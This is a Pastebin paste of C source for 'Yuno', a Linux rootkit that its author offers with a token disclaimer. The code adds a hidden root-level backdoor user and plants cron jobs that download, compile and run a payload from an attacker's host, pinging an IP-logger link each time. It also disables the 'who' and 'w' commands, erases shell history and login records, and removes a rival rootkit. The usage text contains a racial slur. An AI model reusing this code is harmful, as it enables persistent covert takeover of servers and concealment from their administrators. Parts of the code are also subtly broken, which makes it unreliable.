Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- kek gr8 memes
- Made By: ~B1NARY~
- Made Date: 8-25-17
- Instagram: @botkillerzondeck
- Version: Yuno V1.2 Public Release.
- Notice:
- I take no responsibilty for how this is used.
- This is only for educational purposes only.
- This is unfinished.
- This is only a release of a basic early version.
- This is a stage 3 rootkit under development.
- if you are backdooring a file with this rootkit.
- You might want to comment out the DEBUG define.
- do this to leave a silent install.
- Public Release Builds:
- [8-21-17] Version: Yuno V1
- Changes: Adds User with path set to root directory.
- Adds wget for rootkit into cron directory.
- Starts cron so the cron files are recognized.
- [8-24-17] Version: Yuno V1.1
- Changes: History Removal.
- User Lookup Removal.
- [8-25-17] Version: Yuno V1.2
- Changes: Added Ebola V3 Rootkit Remover.
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #define DEBUG
- #define CRON_WGET
- #define CLEAR_SERVER_HISTORY
- #define REMOVE_EBOLAV3_INFECTION
- #define REMOVE_USER_LOOKUP
- char buffer[1024] = {0};
- int adduser(char *username, char *passhash) {
- sprintf(buffer, "useradd -u 0 -g 0 -o -l -d /root -M -p '%s' %s;", passhash, username) ;
- system(buffer);
- };
- #ifdef CRON_WGET
- int cron_wget_infection(char *username, char *passhash) {
- int x;
- char *cron_dirs[] = {"/etc/cron.d", "/etc/cron.daily", "/etc/cron.hourly", "/etc/cron.monthly", "/etc/cron.weekly"};
- for(x = 0; x < 5; ++x) {
- /* Change this out with the wget link for where you are hosting the c file. */
- sprintf(buffer, "echo 'wget --quiet http://lolbackdooredfgt.ga/.y/.CPANEL.c;gcc .CPANEL.c -o .CPAN;./.CPAN %s %s' > %s/wget.tmp", passhash, username, cron_dirs[x]);
- system(buffer);
- sprintf(buffer, "wget --quiet https://grabify.link/XG5ARG -O riplol; rm -rf riplol;");
- system(buffer);
- }
- };
- #endif
- #ifdef REMOVE_USER_LOOKUP
- void remove_user_lookup() {
- system("rm -rf /usr/bin/who");
- system("touch /usr/bin/who");
- system("chmod 777 /usr/bin/who");
- system("rm -rf /usr/bin/w");
- system("touch /usr/bin/w");
- system("chmod 777 /usr/bin/w");
- };
- #endif
- #ifdef CLEAR_SERVER_HISTORY
- void clear_server_history() {
- system("history -cw;unset history");
- system("rm -rf ~/.bash_history");
- };
- #endif
- #ifdef REMOVE_EBOLAV3_INFECTION
- void remove_ebolav3_infection() {
- char *Cron_directorys[] = {"/etc/cron.d/", "/etc/cron.daily/", "/etc/cron.hourly", "/etc/cron.monthly", "/etc/cron.weekly"};
- char *EbolaV3Files[] = {"0", "1", "2", "3", "4", "5", "6", "7"};
- int x;
- for(x = 0; x < 7; ++x) {
- char Ebolav3FileRemover;
- sprintf(Ebolav3FileRemover, "rm -rf %s%s", Cron_directorys[x], EbolaV3Files);
- system(Ebolav3FileRemover);
- }
- //system("rm -rf 0 1 2 3 4 5 66768 7");
- system("rm -rf /var/log/wtmp/.wtmp");
- };
- #endif
- int main(int argc, char *argv[]) {
- if(argc != 3) {
- printf("Usage: %s <username> <passhash>\n", argv[0]);
- printf("Note: Password Hash can be generated using openssl\n");
- printf("Example: openssl passwd -1 nigger\n");
- exit(0);
- }
- #ifdef DEBUG
- printf("[Yuno] Rootkit Executed\n");
- #endif
- /* Adding backdoor user.*/
- #ifdef DEBUG
- printf("[Yuno] Adding user with root permissions.\n");
- #endif
- adduser(argv[1], argv[2]);
- #ifdef CRON_WGET
- /* Infecting crons, for reinfection of the root.*/
- #ifdef DEBUG
- printf("[Yuno] Creating wget payload to reinfect rootkit.\n");
- #endif
- cron_wget_infection(argv[1], argv[2]);
- /*Starting cron service, so that the cron files are recognized.*/
- #ifdef DEBUG
- printf("[Yuno] Starting Cron\n");
- #endif
- system("/etc/init.d/cron start");
- #endif
- #ifdef REMOVE_USER_LOOKUP
- #ifdef DEBUG
- printf("[Yuno] Removing 'who', and 'w'\n");
- #endif
- remove_user_lookup();
- #endif
- //
- #ifdef CLEAR_SERVER_HISTORY
- #ifdef DEBUG
- printf("[Yuno] Clearing and unsetting Server History.\n");
- #endif
- clear_server_history();
- #endif
- #ifdef REMOVE_EBOLAV3_INFECTION
- #ifdef DEBUG
- printf("[Yuno] Removing Ebola V3 Infections.\n");
- #endif
- remove_ebolav3_infection();
- #endif
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment